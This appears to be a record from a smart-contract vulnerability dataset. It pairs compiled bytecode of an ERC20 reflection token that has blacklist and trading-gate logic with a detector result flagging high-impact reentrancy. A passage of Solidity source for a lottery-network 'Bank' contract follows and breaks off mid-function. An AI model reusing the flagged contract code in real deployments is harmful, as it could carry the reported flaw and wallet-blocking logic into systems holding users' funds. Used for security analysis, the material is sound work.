16145b6111ff57600080fd5b600061120a30610c3d565b9050611215816123c0565b50565b611220611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906135e3565b60405180910390fd5b60005b8383905081101561134c5781600560008686858181106112d3576112d2613a76565b5b90506020020160208101906112e89190612eb7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611344906139cf565b9150506112b0565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b906135e3565b60405180910390fd5b8060188190555050565b611486611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90613543565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90613663565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90613563565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118069190613683565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90613623565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea906134c3565b60405180910390fd5b60008111611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d90613603565b60405180910390fd5b61193e610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ac575061197c610e86565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef257601660149054906101000a900460ff16611a3b576119cd610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a31906134e3565b60405180910390fd5b5b601754811115611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7790613523565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b245750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a90613583565b60405180910390fd5b6001600854611b7291906137b9565b4311158015611bce5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6b5760185481611d2084610c3d565b611d2a91906137b9565b10611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190613643565b60405180910390fd5b5b6000611d7630610c3d565b9050600060195482101590506017548210611d915760175491505b808015611dab5750601660159054906101000a900460ff16155b8015611e055750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1b575060168054906101000a900460ff165b8015611e715750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec75750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eef57611ed5826123c0565b60004790506000811115611eed57611eec47612257565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205a57600090506121e1565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121055750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e057600b54600d81905550600c54600e819055505b5b6121ed84848484612648565b50505050565b600083831115829061223b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223291906134a1565b60405180910390fd5b506000838561224a919061389a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a760028461267590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d2573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232360028461267590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234e573d6000803e3d6000fd5b5050565b6000600654821115612399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239090613503565b60405180910390fd5b60006123a36126bf565b90506123b8818461267590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f8576123f7613aa5565b5b6040519080825280602002602001820160405280156124265781602001602082028036833780820191505090505b509050308160008151811061243e5761243d613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e057600080fd5b505afa1580156124f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125189190612ee4565b8160018151811061252c5761252b613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611648565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f795949392919061369e565b600060405180830381600087803b15801561261157600080fd5b505af1158015612625573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612656576126556126ea565b5b61266184848461272d565b8061266f5761266e6128f8565b5b50505050565b60006126b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290c565b905092915050565b60008060006126cc61296f565b915091506126e3818361267590919063ffffffff16565b9250505090565b6000600d541480156126fe57506000600e54145b156127085761272b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061273f876129ce565b95509550955095509550955061279d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e81612ade565b6128888483612b9b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e59190613683565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a91906134a1565b60405180910390fd5b5060008385612962919061380f565b9050809150509392505050565b600080600060065490506000678ac7230489e8000090506129a3678ac7230489e8000060065461267590919063ffffffff16565b8210156129c157600654678ac7230489e800009350935050506129ca565b81819350935050505b9091565b60008060008060008060008060006129eb8a600d54600e54612bd5565b92509250925060006129fb6126bf565b90506000806000612a0e8e878787612c6b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f3565b905092915050565b6000808284612a8f91906137b9565b905083811015612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb906135a3565b60405180910390fd5b8091505092915050565b6000612ae86126bf565b90506000612aff8284612cf490919063ffffffff16565b9050612b5381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb082600654612a3690919063ffffffff16565b600681905550612bcb81600754612a8090919063ffffffff16565b6007819055505050565b600080600080612c016064612bf3888a612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c2b6064612c1d888b612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c5482612c46858c612a3690919063ffffffff16565b612a3690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c848589612cf490919063ffffffff16565b90506000612c9b8689612cf490919063ffffffff16565b90506000612cb28789612cf490919063ffffffff16565b90506000612cdb82612ccd8587612a3690919063ffffffff16565b612a3690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d075760009050612d69565b60008284612d159190613840565b9050828482612d24919061380f565b14612d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5b906135c3565b60405180910390fd5b809150505b92915050565b6000612d82612d7d84613738565b613713565b90508083825260208201905082856020860282011115612da557612da4613ade565b5b60005b85811015612dd55781612dbb8882612ddf565b845260208401935060208301925050600181019050612da8565b5050509392505050565b600081359050612dee81613ede565b92915050565b600081519050612e0381613ede565b92915050565b60008083601f840112612e1f57612e1e613ad9565b5b8235905067ffffffffffffffff811115612e3c57612e3b613ad4565b5b602083019150836020820283011115612e5857612e57613ade565b5b9250929050565b600082601f830112612e7457612e73613ad9565b5b8135612e84848260208601612d6f565b91505092915050565b600081359050612e9c81613ef5565b92915050565b600081359050612eb181613f0c565b92915050565b600060208284031215612ecd57612ecc613ae8565b5b6000612edb84828501612ddf565b91505092915050565b600060208284031215612efa57612ef9613ae8565b5b6000612f0884828501612df4565b91505092915050565b60008060408385031215612f2857612f27613ae8565b5b6000612f3685828601612ddf565b9250506020612f4785828601612ddf565b9150509250929050565b600080600060608486031215612f6a57612f69613ae8565b5b6000612f7886828701612ddf565b9350506020612f8986828701612ddf565b9250506040612f9a86828701612ea2565b9150509250925092565b60008060408385031215612fbb57612fba613ae8565b5b6000612fc985828601612ddf565b9250506020612fda85828601612ea2565b9150509250929050565b600080600060408486031215612ffd57612ffc613ae8565b5b600084013567ffffffffffffffff81111561301b5761301a613ae3565b5b61302786828701612e09565b9350935050602061303a86828701612e8d565b9150509250925092565b60006020828403121561305a57613059613ae8565b5b600082013567ffffffffffffffff81111561307857613077613ae3565b5b61308484828501612e5f565b91505092915050565b6000602082840312156130a3576130a2613ae8565b5b60006130b184828501612e8d565b91505092915050565b6000602082840312156130d0576130cf613ae8565b5b60006130de84828501612ea2565b91505092915050565b6000806000806080858703121561310157613100613ae8565b5b600061310f87828801612ea2565b945050602061312087828801612ea2565b935050604061313187828801612ea2565b925050606061314287828801612ea2565b91505092959194509250565b600061315a8383613166565b60208301905092915050565b61316f816138ce565b82525050565b61317e816138ce565b82525050565b600061318f82613774565b6131998185613797565b93506131a483613764565b8060005b838110156131d55781516131bc888261314e565b97506131c78361378a565b9250506001810190506131a8565b5085935050505092915050565b6131eb816138e0565b82525050565b6131fa81613923565b82525050565b61320981613935565b82525050565b600061321a8261377f565b61322481856137a8565b935061323481856020860161396b565b61323d81613aed565b840191505092915050565b60006132556023836137a8565b915061326082613afe565b604082019050919050565b6000613278603f836137a8565b915061328382613b4d565b604082019050919050565b600061329b602a836137a8565b91506132a682613b9c565b604082019050919050565b60006132be601c836137a8565b91506132c982613beb565b602082019050919050565b60006132e16026836137a8565b91506132ec82613c14565b604082019050919050565b60006133046022836137a8565b915061330f82613c63565b604082019050919050565b60006133276023836137a8565b915061333282613cb2565b604082019050919050565b600061334a601b836137a8565b915061335582613d01565b602082019050919050565b600061336d6021836137a8565b915061337882613d2a565b604082019050919050565b60006133906020836137a8565b915061339b82613d79565b602082019050919050565b60006133b36029836137a8565b91506133be82613da2565b604082019050919050565b60006133d66025836137a8565b91506133e182613df1565b604082019050919050565b60006133f96023836137a8565b915061340482613e40565b604082019050919050565b600061341c6024836137a8565b915061342782613e8f565b604082019050919050565b61343b8161390c565b82525050565b61344a81613916565b82525050565b60006020820190506134656000830184613175565b92915050565b600060208201905061348060008301846131e2565b92915050565b600060208201905061349b60008301846131f1565b92915050565b600060208201905081810360008301526134bb818461320f565b905092915050565b600060208201905081810360008301526134dc81613248565b9050919050565b600060208201905081810360008301526134fc8161326b565b9050919050565b6000602082019050818103600083015261351c8161328e565b9050919050565b6000602082019050818103600083015261353c816132b1565b9050919050565b6000602082019050818103600083015261355c816132d4565b9050919050565b6000602082019050818103600083015261357c816132f7565b9050919050565b6000602082019050818103600083015261359c8161331a565b9050919050565b600060208201905081810360008301526135bc8161333d565b9050919050565b600060208201905081810360008301526135dc81613360565b9050919050565b600060208201905081810360008301526135fc81613383565b9050919050565b6000602082019050818103600083015261361c816133a6565b9050919050565b6000602082019050818103600083015261363c816133c9565b9050919050565b6000602082019050818103600083015261365c816133ec565b9050919050565b6000602082019050818103600083015261367c8161340f565b9050919050565b60006020820190506136986000830184613432565b92915050565b600060a0820190506136b36000830188613432565b6136c06020830187613200565b81810360408301526136d28186613184565b90506136e16060830185613175565b6136ee6080830184613432565b9695505050505050565b600060208201905061370d6000830184613441565b92915050565b600061371d61372e565b9050613729828261399e565b919050565b6000604051905090565b600067ffffffffffffffff82111561375357613752613aa5565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c48261390c565b91506137cf8361390c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380457613803613a18565b5b828201905092915050565b600061381a8261390c565b91506138258361390c565b92508261383557613834613a47565b5b828204905092915050565b600061384b8261390c565b91506138568361390c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561388f5761388e613a18565b5b828202905092915050565b60006138a58261390c565b91506138b08361390c565b9250828210156138c3576138c2613a18565b5b828203905092915050565b60006138d9826138ec565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061392e82613947565b9050919050565b60006139408261390c565b9050919050565b600061395282613959565b9050919050565b6000613964826138ec565b9050919050565b60005b8381101561398957808201518184015260208101905061396e565b83811115613998576000848401525b50505050565b6139a782613aed565b810181811067ffffffffffffffff821117156139c6576139c5613aa5565b5b80604052505050565b60006139da8261390c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a0d57613a0c613a18565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613ee7816138ce565b8114613ef257600080fd5b50565b613efe816138e0565b8114613f0957600080fd5b50565b613f158161390c565b8114613f2057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220863e5eb8e4ecc3b170570e6c5cc27c20cc21c65b0115f5438d7e34ecfcb505d864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,958
0xdf18880a02c7f3eb4f40fdf515fce31c1cb7ef66
pragma solidity ^0.4.24; /* * gibmireinbier * 0xA4a799086aE18D7db6C4b57f496B081b44888888 * gibmireinbier@gmail.com */ /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface F2mInterface { function joinNetwork(address[6] _contract) public; // one time called function disableRound0() public; function activeBuy() public; // Dividends from all sources (DApps, Donate ...) function pushDividends() public payable; /** * Converts all of caller's dividends to tokens. */ //function reinvest() public; //function buy() public payable; function buyFor(address _buyer) public payable; function sell(uint256 _tokenAmount) public; function exit() public; function devTeamWithdraw() public returns(uint256); function withdrawFor(address sender) public returns(uint256); function transfer(address _to, uint256 _tokenAmount) public returns(bool); /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ function setAutoBuy() public; /*========================================== = public FUNCTIONS = ==========================================*/ // function totalEthBalance() public view returns(uint256); function ethBalance(address _address) public view returns(uint256); function myBalance() public view returns(uint256); function myEthBalance() public view returns(uint256); function swapToken() public; function setNewToken(address _newTokenAddress) public; } interface CitizenInterface { function joinNetwork(address[6] _contract) public; /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ function devTeamWithdraw() public; /*---------- WRITE FUNCTIONS ----------*/ function updateUsername(string _sNewUsername) public; //Sources: Token contract, DApps function pushRefIncome(address _sender) public payable; function withdrawFor(address _sender) public payable returns(uint256); function devTeamReinvest() public returns(uint256); /*---------- READ FUNCTIONS ----------*/ function getRefWallet(address _address) public view returns(uint256); } interface LotteryInterface { function joinNetwork(address[6] _contract) public; // call one time function activeFirstRound() public; // Core Functions function pushToPot() public payable; function finalizeable() public view returns(bool); // bounty function finalize() public; function buy(string _sSalt) public payable; function buyFor(string _sSalt, address _sender) public payable; //function withdraw() public; function withdrawFor(address _sender) public returns(uint256); function getRewardBalance(address _buyer) public view returns(uint256); function getTotalPot() public view returns(uint256); // EarlyIncome function getEarlyIncomeByAddress(address _buyer) public view returns(uint256); // included claimed amount // function getEarlyIncomeByAddressRound(address _buyer, uint256 _rId) public view returns(uint256); function getCurEarlyIncomeByAddress(address _buyer) public view returns(uint256); // function getCurEarlyIncomeByAddressRound(address _buyer, uint256 _rId) public view returns(uint256); function getCurRoundId() public view returns(uint256); // set endRound, prepare to upgrade new version function setLastRound(uint256 _lastRoundId) public; function getPInvestedSumByRound(uint256 _rId, address _buyer) public view returns(uint256); function cashoutable(address _address) public view returns(bool); function isLastRound() public view returns(bool); } interface DevTeamInterface { function setF2mAddress(address _address) public; function setLotteryAddress(address _address) public; function setCitizenAddress(address _address) public; function setBankAddress(address _address) public; function setRewardAddress(address _address) public; function setWhitelistAddress(address _address) public; function setupNetwork() public; } contract Bank { using SafeMath for uint256; mapping(address => uint256) public balance; mapping(address => uint256) public claimedSum; mapping(address => uint256) public donateSum; mapping(address => bool) public isMember; address[] public member; uint256 public TIME_OUT = 7 * 24 * 60 * 60; mapping(address => uint256) public lastClaim; CitizenInterface public citizenContract; LotteryInterface public lotteryContract; F2mInterface public f2mContract; DevTeamInterface public devTeamContract; constructor (address _devTeam) public { // add administrators here devTeamContract = DevTeamInterface(_devTeam); devTeamContract.setBankAddress(address(this)); } // _contract = [f2mAddress, bankAddress, citizenAddress, lotteryAddress, rewardAddress, whitelistAddress]; function joinNetwork(address[6] _contract) public { require(address(citizenContract) == 0x0,"already setup"); f2mContract = F2mInterface(_contract[0]); //bankContract = BankInterface(bankAddress); citizenContract = CitizenInterface(_contract[2]); lotteryContract = LotteryInterface(_contract[3]); } // Core functions function pushToBank(address _player) public payable { uint256 _amount = msg.value; lastClaim[_player] = block.timestamp; balance[_player] = _amount.add(balance[_player]); } function collectDividends(address _member) public returns(uint256) { require(_member != address(devTeamContract), "no right"); uint256 collected = f2mContract.withdrawFor(_member); claimedSum[_member] += collected; return collected; } function collectRef(address _member) public returns(uint256) { require(_member != address(devTeamContract), "no right"); uint256 collected = citizenContract.withdrawFor(_member); claimedSum[_member] += collected; return collected; } function collectReward(address _member) public returns(uint256) { require(_member != address(devTeamContract), "no right"); uint256 collected = lotteryContract.withdrawFor(_member); claimedSum[_member] += collected; return collected; } function collectIncome(address _member) public returns(uint256) { require(_member != address(devTeamContract), "no right"); //lastClaim[_member] = block.timestamp; uint256 collected = collectDividends(_member) + collectRef(_member) + collectReward(_member); return collected; } function restTime(address _member) public view returns(uint256) { uint256 timeDist = block.timestamp - lastClaim[_member]; if (timeDist >= TIME_OUT) return 0; return TIME_OUT - timeDist; } function timeout(address _member) public view returns(bool) { return lastClaim[_member] > 0 && restTime(_member) == 0; } function memberLog() private { address _member = msg.sender; lastClaim[_member] = block.timestamp; if (isMember[_member]) return; member.push(_member); isMember[_member] = true; } function cashoutable() public view returns(bool) { return lotteryContract.cashoutable(msg.sender); } function cashout() public { address _sender = msg.sender; uint256 _amount = balance[_sender]; require(_amount > 0, "nothing to cashout"); balance[_sender] = 0; memberLog(); require(cashoutable() && _amount > 0, "need 1 ticket or wait to new round"); _sender.transfer(_amount); } // ref => devTeam // div => div // lottery => div function checkTimeout(address _member) public { require(timeout(_member), "member still got time to withdraw"); require(_member != address(devTeamContract), "no right"); uint256 _curBalance = balance[_member]; uint256 _refIncome = collectRef(_member); uint256 _divIncome = collectDividends(_member); uint256 _rewardIncome = collectReward(_member); donateSum[_member] += _refIncome + _divIncome + _rewardIncome; balance[_member] = _curBalance; f2mContract.pushDividends.value(_divIncome + _rewardIncome)(); citizenContract.pushRefIncome.value(_refIncome)(0x0); } function withdraw() public { address _member = msg.sender; collectIncome(_member); cashout(); //lastClaim[_member] = block.timestamp; } function lotteryReinvest(string _sSalt, uint256 _amount) public payable { address _sender = msg.sender; uint256 _deposit = msg.value; uint256 _curBalance = balance[_sender]; uint256 investAmount; uint256 collected = 0; if (_deposit == 0) { if (_amount > balance[_sender]) collected = collectIncome(_sender); require(_amount <= _curBalance + collected, "balance not enough"); investAmount = _amount;//_curBalance + collected; } else { collected = collectIncome(_sender); investAmount = _deposit.add(_curBalance).add(collected); } balance[_sender] = _curBalance.add(collected + _deposit).sub(investAmount); lastClaim [_sender] = block.timestamp; lotteryContract.buyFor.value(investAmount)(_sSalt, _sender); } function tokenReinvest(uint256 _amount) public payable { address _sender = msg.sender; uint256 _deposit = msg.value; uint256 _curBalance = balance[_sender]; uint256 investAmount; uint256 collected = 0; if (_deposit == 0) { if (_amount > balance[_sender]) collected = collectIncome(_sender); require(_amount <= _curBalance + collected, "balance not enough"); investAmount = _amount;//_curBalance + collected; } else { collected = collectIncome(_sender); investAmount = _deposit.add(_curBalance).add(collected); } balance[_sender] = _curBalance.add(collected + _deposit).sub(investAmount); lastClaim [_sender] = block.timestamp; f2mContract.buyFor.value(investAmount)(_sender); } // Read function getDivBalance(address 